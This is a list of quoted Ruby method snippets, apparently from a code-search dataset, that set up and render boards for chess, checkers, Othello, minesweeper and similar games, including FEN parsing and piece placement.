"def populate_board!\n # QUEENS - the user who created the game will be black, the opponent will be white\n Queen.create(game_id: id, user_id: user_id, position_x: 3, position_y: 7, color: \"black\", name: \"black queen\")\n Queen.create(game_id: id, user_id: opponent, position_x: 3, position_y: 0, color: \"white\", name: \"white queen\")\n # KINGS\n King.create(game_id: id, user_id: user_id, position_x: 4, position_y: 7, color: \"black\", name: \"black king\")\n King.create(game_id: id, user_id: opponent, position_x: 4, position_y: 0, color: \"white\", name: \"white king\")\n # BISHOPS\n # black bishops\n Bishop.create(game_id: id, user_id: user_id, position_x: 2, position_y: 7, color: \"black\", name: \"black bishop 1\")\n Bishop.create(game_id: id, user_id: user_id, position_x: 5, position_y: 7, color: \"black\", name: \"black bishop 2\")\n # white bishops\n Bishop.create(game_id: id, user_id: opponent, position_x: 2, position_y: 0, color: \"white\", name: \"white bishop 1\")\n Bishop.create(game_id: id, user_id: opponent, position_x: 5, position_y: 0, color: \"white\", name: \"white bishop 2\")\n # KNIGHTS\n # black knights\n Knight.create(game_id: id, user_id: user_id, position_x: 1, position_y: 7, color: \"black\", name: \"black knight 1\")\n Knight.create(game_id: id, user_id: user_id, position_x: 6, position_y: 7, color: \"black\", name: \"black knight 2\")\n # white knights\n Knight.create(game_id: id, user_id: opponent, position_x: 1, position_y: 0, color: \"white\", name: \"white knight 1\")\n Knight.create(game_id: id, user_id: opponent, position_x: 6, position_y: 0, color: \"white\", name: \"white knight 2\")\n # rooks\n # black rooks\n Rook.create(game_id: id, user_id: user_id, position_x: 0, position_y: 7, color: \"black\", name: \"black rook 1\")\n Rook.create(game_id: id, user_id: user_id, position_x: 7, position_y: 7, color: \"black\", name: \"black rook 2\")\n # white rooks\n Rook.create(game_id: id, user_id: opponent, position_x: 0, position_y: 0, color: \"white\", name: \"white rook 1\")\n Rook.create(game_id: id, user_id: opponent, position_x: 7, position_y: 0, color: \"white\", name: \"white rook 2\")\n # PAWNS\n # populate black pawns\n black_pawn_x = 0\n black_pawn_number = 1\n 8.times do\n Pawn.create(game_id: id, user_id: user_id, position_x: black_pawn_x, position_y: 6, color: \"black\", name: \"black pawn #{black_pawn_number}\")\n black_pawn_x += 1\n black_pawn_number += 1\n end\n # populate white pawns\n white_pawn_x = 0\n white_pawn_number = 1\n 8.times do\n Pawn.create(game_id: id, user_id: opponent, position_x: white_pawn_x, position_y: 1, color: \"white\", name: \"white pawn #{white_pawn_number}\")\n white_pawn_x += 1\n white_pawn_number += 1\n end\n end",
"def init_pos\n reset_board_variables\n colors = {:white => 0, :black => 7}\n pieces = {:torr => [0,7], :cav => [1,6], :alf => [2,5], :reg => [3], :re => [4]}\n key_pieces = {:white => [:w1, :w2, :w3, :w4, :w5, :w6, :w7, :w8, :w9, :w10, :w11, :w12, :w13, :w14, :w15, :w16],\n :black => [:b1, :b2, :b3, :b4, :b5, :b6, :b7, :b8, :b9, :b10, :b11, :b12, :b13, :b14, :b15, :b16]}\n # set pieces \n colors.each do |k_col, v_col|\n # iterate each color\n key_color_array = key_pieces[k_col]\n pieces.each do |k_pie, v_pie|\n # iterate each piece\n v_pie.each do |ix_piece|\n #p v_col, ix_piece, k_pie, k_col\n @infosquare[v_col][ix_piece].setinfo(k_pie, k_col)\n #kk_p = key_color_array.pop\n @pieces[k_col] << @infosquare[v_col][ix_piece] \n end\n end#end pieces\n \n # now set pawn for this color\n ix_col = 1\n ix_col = 6 if k_col == :black\n [0,1,2,3,4,5,6,7].each do |ix_piece|\n #p ix_col, ix_piece\n @infosquare[ix_col][ix_piece].setinfo(:ped, k_col)\n #kk_p = key_color_array.pop\n @pieces[k_col] << @infosquare[ix_col][ix_piece] \n end\n end \n #p @pieces\n #p @infosquare\n #p @pieces.size\n #p @pieces[:white].first\n end",
"def update_board\n #clear previous move_list from all pieces\n @board.each do |row|\n row.each do |col|\n col.move_list = [] if !col.nil?\n end\n end\n #clear previous state of @all_pieces\n @all_pieces = []\n #adds every piece obj to all_pieces instance variable\n @board.each do |row|\n row.each do |col|\n @all_pieces << col if !col.nil?\n end\n end\n #give each piece a copy of the board state\n #then allow generate_moves method to come up with a list of possible moves\n #based on that board state\n @all_pieces.each do |n|\n n.board = self\n n.generate_moves\n end\n #add this state to the board_history instance variable\n @board_history << @board\n end",
"def init_pos\r\n reset_board_variables\r\n colors = {:white => 0, :black => 7}\r\n pieces = {:torr => [0,7], :cav => [1,6], :alf => [2,5], :reg => [3], :re => [4]}\r\n key_pieces = {:white => [:w1, :w2, :w3, :w4, :w5, :w6, :w7, :w8, :w9, :w10, :w11, :w12, :w13, :w14, :w15, :w16],\r\n :black => [:b1, :b2, :b3, :b4, :b5, :b6, :b7, :b8, :b9, :b10, :b11, :b12, :b13, :b14, :b15, :b16]}\r\n # set pieces \r\n colors.each do |k_col, v_col|\r\n # iterate each color\r\n key_color_array = key_pieces[k_col]\r\n pieces.each do |k_pie, v_pie|\r\n # iterate each piece\r\n v_pie.each do |ix_piece|\r\n #p v_col, ix_piece, k_pie, k_col\r\n @infosquare[v_col][ix_piece].setinfo(k_pie, k_col)\r\n #kk_p = key_color_array.pop\r\n @pieces[k_col] << @infosquare[v_col][ix_piece] \r\n end\r\n end#end pieces\r\n \r\n # now set pawn for this color\r\n ix_col = 1\r\n ix_col = 6 if k_col == :black\r\n [0,1,2,3,4,5,6,7].each do |ix_piece|\r\n #p ix_col, ix_piece\r\n @infosquare[ix_col][ix_piece].setinfo(:ped, k_col)\r\n #kk_p = key_color_array.pop\r\n @pieces[k_col] << @infosquare[ix_col][ix_piece] \r\n end\r\n end \r\n #p @pieces\r\n #p @infosquare\r\n #p @pieces.size\r\n #p @pieces[:white].first\r\n end",
"def setup(board)\n ('a'..'h').each_with_index do |column, index|\n # Set up the home rows\n [[1, :white], [8, :black]].each do |row, color|\n piece = HOME_ROW[index].new(color)\n board.place( Square.new(column, row), piece )\n end\n \n # Setup the pawns\n [[2, :white], [7,:black]].each do |row, color|\n piece = Pawn.new(color)\n board.place( Square.new(column, row), piece)\n end\n end\n end",
"def update_board(column, color)\n @grid[column][bottom(column)] = Piece.new(color)\n end",
"def setup_board\n gameboard.build_board\n build_white_side\n build_black_side\n end",
"def draw_pieces\n CHECKERS_HEIGHT.times do |x|\n CHECKERS_WIDTH.times do |y|\n @pieces[x][y].remove unless @pieces[x][y].nil?\n @pieces[x][y] = draw_piece(x,y,@board.state[x][y]) unless @board.state[x][y].nil?\n end\n end\nend",
"def build_board\n @original_board\n @working_board.collect! { |row|\n row.collect! { |cell|\n cell = @original_board.shift\n }\n }\n @working_board\n end",
"def initialize\n @piece_count = 0\n\n @grid = []\n (0..6).each do |col|\n @grid[col] = []\n (0..5).each do |row|\n @grid[col][row] = \"-\"\n end\n end\n end",
"def setup_game\n name_player = set_name_player\n number_columns = set_number_columns\n number_rabbits = set_number_rabbits(number_columns)\n number_foxs = set_number_foxs(number_columns)\n\n board = build_board(number_columns)\n rabbit_collection = build_rabbit_collection(number_columns, number_rabbits)\n fox_collection = build_fox_collection(number_columns, number_foxs)\n\n\n [ board, name_player, number_columns, rabbit_collection, fox_collection ]\nend",
"def initialize_board\n # Non-pawns for black player:\n Rook.create(x_position: 1, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Knight.create(x_position: 2, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Bishop.create(x_position: 3, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Queen.create(x_position: 4, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n King.create(x_position: 5, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Bishop.create(x_position: 6, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Knight.create(x_position: 7, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Rook.create(x_position: 8, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n\n # Non-pawns for white player:\n Rook.create(x_position: 1, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Knight.create(x_position: 2, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Bishop.create(x_position: 3, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Queen.create(x_position: 4, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n King.create(x_position: 5, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Bishop.create(x_position: 6, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Knight.create(x_position: 7, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Rook.create(x_position: 8, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n\n # Pawns for both players:\n for i in 1..8\n Pawn.create(color: \"black\", x_position: i, y_position: 2, game_id: id, player_id: black_player_id)\n Pawn.create(color: \"white\", x_position: i, y_position: 7, game_id: id, player_id: white_player_id)\n end\n\n self.counter = 0\n # Saves the counter to the database.\n self.save\n end",
"def draw_board_start\n #Places the pawns\n 8.times do |x|\n @b[x][1] = @WP\n @b[x][6] = @BP\n end\n #white, on bottom, the opaque pieces\n @b[0][0] = @WR; @b[7][0] = @WR\n @b[1][0] = @WK; @b[6][0] = @WK\n @b[2][0] = @WB; @b[5][0] = @WB\n @b[3][0] = @WQ\n @b[4][0] = @WKg\n #black, on top, the filled in pieces\n @b[0][7] = @BR; @b[7][7] = @BR\n @b[1][7] = @BK; @b[6][7] = @BK\n @b[2][7] = @BB; @b[5][7] = @BB\n @b[3][7] = @BQ\n @b[4][7] = @BKg\n \n #TESTING PIECES HERE\n\n\n draw_board\n end",
"def place_pieces\n colors = [:black, :white]\n piece_classes = [King, Queen, Bishop, Knight, Rook, Pawn]\n\n colors.each do |color|\n piece_classes.each do |piece|\n piece.starting_positions(color).each do |pos|\n add_piece(piece.new(color, self, pos), pos)\n end\n end\n end\n end",
"def board\n board = Board.new(true)\n grid do |p|\n new_position = p\n new_color = p.color\n new_piece = p.class.new(new_position, new_color, board )\n board[p.pos] = new_piece\n end\n board\n end",
"def populate_board(_board, str)\n black = []\n white = []\n\n # parse string\n str.delete(\"\\n\").split(//).each.with_index do |space, idx|\n xpos = idx % 3\n ypos = (idx - xpos) / 3\n\n case space\n when 'w'\n white << [xpos, ypos]\n when 'b'\n black << [xpos, ypos]\n end\n end\n\n # populate\n loop do\n pos =\n if game.player_turn == :white\n white.shift\n else\n black.shift\n end\n\n game.add_piece(*pos)\n\n break if white.empty? && black.empty?\n end\n end",
"def make_board\n make_blank_board\n populate_board\n end",
"def place_pawns\r\n $board.each_index do |x|\r\n $board[x][1] = Pawn.new('white')\r\n $board[x][6] = Pawn.new('black')\r\n end\r\n end",
"def board_refresh\n print_board(@@piece_locations)\n end",
"def compact_pieces\n @recheck = false\n for i in (0..@width-1)\n for j in (0..@height-1)\n if @board[i][j] and @board[i][j+1].nil? #drop pieces down\n @recheck = true\n @board[i][j+1] = @board[i][j]\n @board[i][j] = nil \n elsif j == 0 and @board[i][j].nil? #replace pieces at top\n @recheck = true\n @board[i][j] = Piece.new\n end\n end\n end\n if @startup and @recheck #fast setup of board before update + anim loops start\n compact_pieces\n clear_matches\n end \n end",
"def place_initial_pieces\n x = @board.get_size/2\n y = @board.get_size/2\n \n @board.place_piece(x, y, @players[0])\n @board.place_piece(x - 1, y, @players[1])\n @board.place_piece(x, y - 1, @players[1])\n @board.place_piece(x -1, y - 1, @players[0])\n end",
"def place_special_pieces(row, color)\n\t\t@board[0][row].piece = Rook.new(color)\n\t\t@board[1][row].piece = Knight.new(color)\n\t\t@board[2][row].piece = Bishop.new(color)\n\t\t@board[3][row].piece = King.new(color)\n\t\t@board[4][row].piece = Queen.new(color)\n\t\t@board[5][row].piece = Bishop.new(color)\n\t\t@board[6][row].piece = Knight.new(color)\n\t\t@board[7][row].piece = Rook.new(color)\n\tend",
"def test_init\n #@board[0][5].piece = Bishop.new(@board[0][5], \"♗\", \"white\")\n @board[0][4].piece = King.new(@board[0][4], \"♔\", 'white')\n\n @board[7][4].piece = Queen.new(@board[7][4], \"♛\", \"black\" )\n @board[7][3].piece = Rook.new(@board[7][3], \"♜\", \"black\")\n @board[7][5].piece = Rook.new(@board[7][5], \"♜\", \"black\")\n end",
"def create_board\n (1..(@width * @width).to_i).each do |i|\n values = i <= @amount_mines ? @bomb : @empty\n @board.push({\n value: values,\n revealed?: false\n })\n end\n @board.shuffle!\n @board\n end",
"def testing_checkmate(board)\n\n test_pieces = [\n King.new(:w, [0,0], board),\n King.new(:b, [1,0], board),\n Queen.new(:b, [0,1], board)\n ]\n\n test_pieces.each do |test_piece|\n board[test_piece.position] = test_piece\n end\n\n board\n\nend",
"def render\n (\"A\"..\"H\").each { |col| print \" #{col}\"}\n print \"\\n\\n\"\n\n (0...8).each do |row|\n # Start counting downwards - rows are upside down in ChessBoard\n row_idx = (7 - row) % @board.rows.count + 1\n print \"#{row_idx} \"\n\n (0...8).each do |col|\n pos = [row, col]\n render_piece(pos)\n end\n\n print \"\\n\\n\"\n end\n\n debug_info if @debug\n print_controls\n end",
"def initialize(board, color)\n @board = board\n @isWhite = color == \"white\"\n @pieces = []\n if(@isWhite)\n 8.times {|i| @pieces << Pawn.new(board, \"white\", 6, i)}\n @pieces << Rook.new(board, \"white\", 7, 0)\n @pieces << Rook.new(board, \"white\", 7, 7)\n @pieces << Knight.new(board, \"white\", 7, 1)\n @pieces << Knight.new(board, \"white\", 7, 6)\n @pieces << Bishop.new(board, \"white\", 7, 2)\n @pieces << Bishop.new(board, \"white\", 7, 5)\n @pieces << Queen.new(board, \"white\", 7, 3)\n @king = King.new(board, \"white\", 7, 4)\n else #color is black\n 8.times {|i| @pieces << Pawn.new(board, \"black\", 1, i)}\n @pieces << Rook.new(board, \"black\", 0, 0)\n @pieces << Rook.new(board, \"black\", 0, 7)\n @pieces << Knight.new(board, \"black\", 0, 1)\n @pieces << Knight.new(board, \"black\", 0, 6)\n @pieces << Bishop.new(board, \"black\", 0, 2)\n @pieces << Bishop.new(board, \"black\", 0, 5)\n @pieces << Queen.new(board, \"black\", 0, 3)\n @king = King.new(board, \"black\", 0, 4)\n end\n @in_checkmate = false\n end",
"def reset_board_variables\n @color_on_turn = :white\n @fifty_counter = 0\n @pieces = {:white => [], :black => []} \n @last_moved_item = BoardInfoItem.new(0,0)\n @infosquare.each do |row_square|\n row_square.each do |cell|\n cell.clear\n end\n end\n #p @infosquare\n end",
"def create_initial_pieces\n WHITE_INITIAL_POSITIONS.each do |position|\n @white_pieces << CheckerPiece.new(self, position, :white)\n end\n BLACK_INITIAL_POSITIONS.each do |position|\n @black_pieces << CheckerPiece.new(self, position, :black)\n end\n end",
"def new_board\n board = []\n 8.times do |row|\n board << case row\n when 0\n add_back_row(\"white\", row)\n when 1\n add_pawn_row(\"white\", row)\n when 6\n add_pawn_row(\"black\", row)\n when 7\n add_back_row(\"black\", row)\n else\n Array.new(8)\n end\n end \n board\n end",
"def put_black\n i = 0\n while i<=7 do\n n = Pawn.new([i,6],\"\\u265F\",false)\n put_piece(n)\n i+=1\n end\n n = Rook.new([0,7],\"\\u265C\",false)\n put_piece(n)\n n = Rook.new([7,7],\"\\u265C\",false)\n put_piece(n)\n n = Knight.new([1,7],\"\\u265E\",false)\n put_piece(n)\n n = Knight.new([6,7],\"\\u265E\",false)\n put_piece(n)\n n = Bishop.new([2,7],\"\\u265D\",false)\n put_piece(n)\n n = Bishop.new([5,7],\"\\u265D\",false)\n put_piece(n)\n n = Queen.new([3,7],\"\\u265B\",false)\n put_piece(n)\n n = King.new([4,7],\"\\u265A\",false)\n put_piece(n,true)\n end",
"def initializeBoard()\n\t\tfor i in (0...@board.length)\n\t\t\tfor j in (0...@board.length)\n\t\t\t\t@board[i][j] = EMPTY\n\t\t\tend\n\t\tend\n\n\t\t@board[@size/2][@size/2] = BLACK\n\t\t@board[@size/2 - 1][@size/2 - 1] = BLACK\n\t\t@board[@size/2 - 1][@size/2] = WHITE\n\t\t@board[@size/2][@size/2 - 1] = WHITE\n\n end",
"def populate()\n @card_values.shuffle!\n i = 0\n (0...@size).each do |row|\n (0...@size).each do |col|\n @grid[row][col] = Card.new(@card_values[i])\n i += 1\n end\n end\n end",
"def reset_board_variables\r\n @color_on_turn = :white\r\n @pieces = {:white => [], :black => []} \r\n @last_moved_item = BoardInfoItem.new(0,0)\r\n @infosquare.each do |row_square|\r\n row_square.each do |cell|\r\n cell.clear\r\n end\r\n end\r\n #p @infosquare\r\n end",
"def create_board\n @board[\"18\"] = Rook.new(\"Blacks\")\n @board[\"28\"] = Knight.new(\"Blacks\")\n @board[\"38\"] = Bishop.new(\"Blacks\")\n @board[\"48\"] = Queen.new(\"Blacks\")\n @board[\"58\"] = King.new(\"Blacks\")\n @board[\"68\"] = Bishop.new(\"Blacks\")\n @board[\"78\"] = Knight.new(\"Blacks\")\n @board[\"88\"] = Rook.new(\"Blacks\") \n 8.times { |index| @board[\"#{index + 1}7\"] = BlackPawn.new(\"Blacks\") } \n\n 8.times { |index| @board[\"#{index + 1}6\"] = nil }\n 8.times { |index| @board[\"#{index + 1}5\"] = nil }\n 8.times { |index| @board[\"#{index + 1}4\"] = nil }\n 8.times { |index| @board[\"#{index + 1}3\"] = nil }\n\n 8.times { |index| @board[\"#{index + 1}2\"] = WhitePawn.new(\"Whites\") } \n @board[\"11\"] = Rook.new(\"Whites\") \n @board[\"21\"] = Knight.new(\"Whites\")\n @board[\"31\"] = Bishop.new(\"Whites\")\n @board[\"41\"] = Queen.new(\"Whites\")\n @board[\"51\"] = King.new(\"Whites\")\n @board[\"61\"] = Bishop.new(\"Whites\")\n @board[\"71\"] = Knight.new(\"Whites\")\n @board[\"81\"] = Rook.new(\"Whites\")\n end",
"def initializeBoard()\n #\n # TO DO: complete this method\n #\n for j in 0...@size\n for i in 0...@size\n @board[j][i]=EMPTY\n end\n end\n center = (@size/2)-1\n @board[center][center] = BLACK\n @board[center+1][center+1] = BLACK\n @board[center+1][center] = WHITE\n @board[center][center+1] = WHITE\n\n\n\n\n end",
"def chess_pieces\n pieces = @state.map do |row|\n row.select { |piece| piece != nil }\n end.flatten\n end",
"def initialize(empty = false)\n @white_points = []\n @black_points = []\n return if empty\n\n @board = []\n 8.times do\n col = []\n 8.times do\n col << SPOT_OPEN\n end\n @board << col\n end\n\n # Add the starting pieces\n mark(3, 3, SPOT_WHITE)\n mark(4, 3, SPOT_BLACK)\n mark(4, 4, SPOT_WHITE)\n mark(3, 4, SPOT_BLACK)\n end",
"def populate\n number_of_pairs = (size**2) / 2\n # dibagi dua krn masing2 kartu punya kembaran/pair\n cards = Card.shuffled_pairs(number_of_pairs)\n # populate the entire board with shuffled deck\n grid.each_index do |i|\n grid[i].each_index do |j|\n self[[i, j]] = cards.pop\n end\n end\n # p cards\n # p cards.count\n end",
"def fill_on_board(move, player)\n\n\t\t@board[move[0]][move[1]] = player\n\n\t\treturn @board\n\n\tend",
"def drawBoard() \n #1. prepare the default board\n @height.times do |y|\n @width.times do |x|\n print EMPTY_MARKER\n end\n puts\n end\t\n @squares = []\n @width.times do |x|\n column = []\n @height.times do |y|\n column << EMPTY_MARKER\n end\n @squares << column\n end\t\n # 2. fill the mine marker\n @mines.each do |mine|\n x,y = mine\n @squares[x][y] = MINE_MARKER\n end\t\t\n #puts @squares;\n\n end",
"def create_board\n\t\t8.times{|x| @board.push([nil,nil,nil,nil,nil,nil,nil,nil])}\n\t\tpopulate_board\n\tend",
"def make_board\n @grid = Array.new(9) { | row | Array.new(9) { | col | Tile.new(self, [row, col]) } }\n self.place_bombs\n @grid.map.with_index do | row, rowIndx |\n row.map.with_index { | tile, colIndx | tile.neighbors_bomb_count if !(self.is_a_bomb?([rowIndx, colIndx])) }\n end\n end",
"def place_piece(piece)\n piece.piece_cells.each_with_index do |row, j|\n row.each_with_index do |cell, i|\n @cells[piece.y + j][piece.x + i] = 1 if cell == 1\n end\n end\n end",
"def create\n (0..7).each do |row|\n @board << []\n (0..7).each do |col| \n @board[row] << \"[ ]\"\n end\n end\n end",
"def map_board\n\t\t@cell_at = []\n\t\t@height.times do |row|\n\t\t\t@cell_at[row] = []\n\t\t\t@width.times do |col|\n\t\t\t\t@cell_at[row][col] = Cell.new\n\t\t\tend\n\t\tend\n\tend",
"def show_board\n @grid.each_with_index do |row, row_index|\n row.each_with_index do |square, col_index|\n piece = self[row_index, col_index]\n if row_index.even? && col_index.even?\n print \" #{piece.display} \".colorize( :color => :black, :background => :white ) if (piece && piece.color == :black)\n print \" #{piece.display} \".colorize( :color => :red, :background => :white ) if (piece && piece.color == :red)\n print \" \".colorize( :background => :white ) if piece.nil?\n elsif row_index.even? && col_index.odd? \n print \" #{piece.display} \".colorize( :color => :black, :background => :light_white ) if (piece && piece.color == :black)\n print \" #{piece.display} \".colorize( :color => :red, :background => :light_white ) if (piece && piece.color == :red)\n print \" \".colorize( :background => :light_white ) if piece.nil?\n elsif row_index.odd? && col_index.even? \n print \" #{piece.display} \".colorize( :color => :black, :background => :light_white ) if (piece && piece.color == :black)\n print \" #{piece.display} \".colorize( :color => :red, :background => :light_white ) if (piece && piece.color == :red)\n print \" \".colorize( :background => :light_white ) if piece.nil?\n elsif row_index.odd? && col_index.odd?\n print \" #{piece.display} \".colorize( :color => :black, :background => :white ) if (piece && piece.color == :black)\n print \" #{piece.display} \".colorize( :color => :red, :background => :white ) if (piece && piece.color == :red)\n print \" \".colorize( :background => :white ) if piece.nil?\n end\n end\n puts \"\"\n end\n end",
"def setup_board!\n\t\t@board = Array.new($dimensions[:y]){ Array.new($dimensions[:x]) {:empty} }\n\tend",
"def get_board(width,height,finished_game_counter,current_score)\n board = Array.new(height) { Array.new(width, 0)}\n (0..(height-1)).each do |row|\n (0..(width-1)).each do |column| \n \n #generate a random number between 1 and 6 inclusive, in order to create an array\n #of randomly coloured fields\n array_element = rand(1..6)\n \n #allocates a number to each colour\n if array_element == 1 \n board[row][column] = :red\n elsif array_element == 2\n board[row][column] = :green\n elsif array_element == 3\n board[row][column] = :blue\n elsif array_element == 4\n board[row][column] = :yellow\n elsif array_element == 5\n board[row][column] = :magenta\n elsif array_element == 6\n board[row][column] = :cyan\n end\n end\n end\n \n #sets count to 0\n count = 0\n choose_colour(board,width,height,count,finished_game_counter,current_score)\nend",
"def render_board\n\n\t\t# So, we'll rebuild the render target from scratch\n\t\t(0...@height).each do |row|\n\t\t\t(0...@width).each do |col|\n\n\t\t\t\t# Save myself some typing, and some math cycles...\n\t\t\t\tcell_idx = (row*@width)+col\n\n\t\t\t\t# Check to see if this cell is covered\n\t\t\t\tif @cell_status[cell_idx] == :status_covered\n\t\t\t\t\tcell = @cover_png\n\t\t\t\telsif @cell_status[cell_idx] == :status_gold\n\t\t\t\t\tcell = @gold_png\n\t\t\t\telse\n\t\t\t\t\tif @dragons[cell_idx] == DRAGON\n\t\t\t\t\t\tcell = @dragon_png\n\t\t\t\t\telse\n\t\t\t\t\t\tcell = @cell_png[@dragons[cell_idx]]\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# We know what to draw, so draw it\n\t\t\t\t$gtk.args.render_target( :board ).width = @board_w\n\t\t\t\t$gtk.args.render_target( :board ).height = @board_h\n\t\t\t\t$gtk.args.render_target( :board ).sprites << {\n\t\t\t\t\tx: (col*@cell_size), y: (row*@cell_size),\n\t\t\t\t\tw: @cell_size, h: @cell_size, path: cell,\n\t\t\t\t}\n\n\t\t\tend\n\n\t\tend\n\n\tend",
"def render\n @board.grid.each_with_index do |row, row_i|\n row.each_with_index do |col, col_i|\n if all_even?(row_i, col_i) || all_odd?(row_i, col_i) # this condition is for white # the two cases where the board is white is when either both row and col are even or both are odd, amazing, quite elegant\n print_piece(col, row_i, col_i, piece_color(col), \"#9AB3C9\")\n else\n print_piece(col, row_i, col_i, piece_color(col), \"#4A7190\") # this is for black lol the hex colors don't make it as clear anymore lol\n end\n end\n puts # make a new line after each row\n end\n nil # so it doesn't return the whole board just a placeholder while you play with this thing\n end",
"def create_board\n\t\t@board = Hash.new\n\t\t(0..7).each do |x|\n\t\t\t@board[x] = []\n\t\t\t(0..7).each do |y|\n\t\t\t\t@board[x][y] = Square.new([x, y])\n\t\t\tend\n\t\tend\n\tend",
"def place_piece(size, pat, zeros)\n x, y = generate_seed(size, pat, zeros)# if x.nil? || y.nil?\n if !@board.nil?\n pat.each_with_index do |paty, indexy|\n paty.each_with_index do |patx, indexx| \n @board[y+indexy][x+indexx] = pat[indexy][indexx] \n end\n end\n end\n end",
"def draw_board\n\t\tfor i in 0..9\n\t\t\t@tile_Array[i].draw\n\t\tend\n\tend",
"def put_pawns\n row = 1\n color = \"w\"\n 2.times do\n @@board[row].each_index do |i|\n @@board[row][i] = Pawn.new(i, row, color)\n end\n row = 6\n color = \"b\"\n end\n end",
"def place_pawns(row, color)\n\t\t(0..7).each do |square|\n\t\t\t@board[square][row].piece = Pawn.new(color)\n\t\tend\n\tend",
"def board_with_fen(fen_str)\r\n @log.debug \"Set board using fen: #{fen_str}\"\r\n reset_board_variables\r\n arr_cmd = fen_str.split(' ')\r\n if arr_cmd.size != 6\r\n @log.error(\"invalid fen string format\")\r\n return\r\n end\r\n arr_row = arr_cmd[0].split('/')\r\n row_num = 0\r\n arr_row.each do |row_info|\r\n #p row_info\r\n col_pos = 0\r\n row_info.each_byte do |row_byte|\r\n #p row_byte\r\n piece_type = :none\r\n piece_color = :none\r\n case row_byte\r\n when 'P'[0]\r\n piece_type = :ped\r\n piece_color = :white\r\n when 'N'[0]\r\n piece_type = :cav\r\n piece_color = :white\r\n when 'B'[0]\r\n piece_type = :alf\r\n piece_color = :white\r\n when 'R'[0]\r\n piece_type = :torr\r\n piece_color = :white\r\n when 'Q'[0]\r\n piece_type = :reg\r\n piece_color = :white\r\n when 'K'[0]\r\n piece_type = :re\r\n piece_color = :white\r\n when 'p'[0]\r\n piece_type = :ped\r\n piece_color = :black\r\n when 'n'[0]\r\n piece_type = :cav\r\n piece_color = :black\r\n when 'b'[0]\r\n piece_type = :alf\r\n piece_color = :black\r\n when 'r'[0]\r\n piece_type = :torr\r\n piece_color = :black\r\n when 'q'[0]\r\n piece_type = :reg\r\n piece_color = :black\r\n when 'k'[0]\r\n piece_type = :re\r\n piece_color = :black\r\n else\r\n if row_byte >= 49 and row_byte <= 56\r\n blank_num = row_byte - 48 \r\n col_pos += blank_num\r\n end \r\n end#end case\r\n if piece_type != :none\r\n if col_pos > 7\r\n @log.error \"fen format error column\"\r\n end\r\n @infosquare[row_num][col_pos].setinfo(piece_type, piece_color)\r\n @pieces[piece_color] << @infosquare[row_num][col_pos]\r\n col_pos += 1\r\n end\r\n \r\n end\r\n row_num += 1\r\n end# end arr_row each\r\n @color_on_turn = :black if arr_cmd[1] == 'b'\r\n p @color_on_turn\r\n end",
"def create_pieces(color)\n 8.times { @pieces << Pawn.new(color) }\n 2.times do\n @pieces << Rook.new(color)\n @pieces << Bishop.new(color)\n @pieces << Knight.new(color)\n end\n @pieces << Queen.new(color)\n @pieces << King.new(color)\n end",
"def initialize pieces=nil\n @squares = []\n for i in 0...64 do\n @squares[i] = Square.new \n end\n\n @pieces = pieces\n @pieces ||= createPieceHash\n @rules = ChessRules.new\n end",
"def initialize_board\n board = Array.new(8) {Array.new(8)}\n populate_board(board)\n end",
"def generateBoard()\n board = []\n\n (1..@board.rows).each do |r|\n row = []\n (1..@board.cols).each { |c| row.push('X') }\n board.push(row)\n end\n\n board\n end",
"def initialize(fill_board = true)\n @sentinel = Null_piece.instance\n\n @rows = Array.new(8) { Array.new(8, @sentinel) }\n\n fill_board_tiles if fill_board\n end",
"def create_board\n\n 8.times do |row|\n 8.times do |col|\n new_cell = Cell.new([col + 1, row + 1])\n @@cells.push(new_cell)\n end\n end\n\n end",
"def create_board\n temp_index = 0\n temp_column1 = Array.new(4) { 'O' }\n temp_column2 = Array.new(4) { 'O' }\n @board = []\n 10.times do\n @board << [temp_column1, temp_column2, \"Turn:#{temp_index += 1}\"]\n end\n @board\n end",
"def board_with_fen(fen_str)\n @log.debug \"Set board using fen: #{fen_str}\"\n reset_board_variables\n arr_cmd = fen_str.split(' ')\n if arr_cmd.size != 6\n @log.error(\"invalid fen string format\")\n return\n end\n arr_row = arr_cmd[0].split('/')\n row_num = 0\n arr_row.each do |row_info|\n #p row_info\n col_pos = 0\n row_info.each_byte do |row_byte|\n #p row_byte\n piece_type = :none\n piece_color = :none\n case row_byte\n when 'P'[0]\n piece_type = :ped\n piece_color = :white\n when 'N'[0]\n piece_type = :cav\n piece_color = :white\n when 'B'[0]\n piece_type = :alf\n piece_color = :white\n when 'R'[0]\n piece_type = :torr\n piece_color = :white\n when 'Q'[0]\n piece_type = :reg\n piece_color = :white\n when 'K'[0]\n piece_type = :re\n piece_color = :white\n when 'p'[0]\n piece_type = :ped\n piece_color = :black\n when 'n'[0]\n piece_type = :cav\n piece_color = :black\n when 'b'[0]\n piece_type = :alf\n piece_color = :black\n when 'r'[0]\n piece_type = :torr\n piece_color = :black\n when 'q'[0]\n piece_type = :reg\n piece_color = :black\n when 'k'[0]\n piece_type = :re\n piece_color = :black\n else\n if row_byte >= 49 and row_byte <= 56\n blank_num = row_byte - 48 \n col_pos += blank_num\n end \n end#end case\n if piece_type != :none\n if col_pos > 7\n @log.error \"fen format error column\"\n end\n @infosquare[row_num][col_pos].setinfo(piece_type, piece_color)\n @pieces[piece_color] << @infosquare[row_num][col_pos]\n col_pos += 1\n end\n \n end\n row_num += 1\n end# end arr_row each\n @color_on_turn = :black if arr_cmd[1] == 'b'\n #p @color_on_turn\n end",
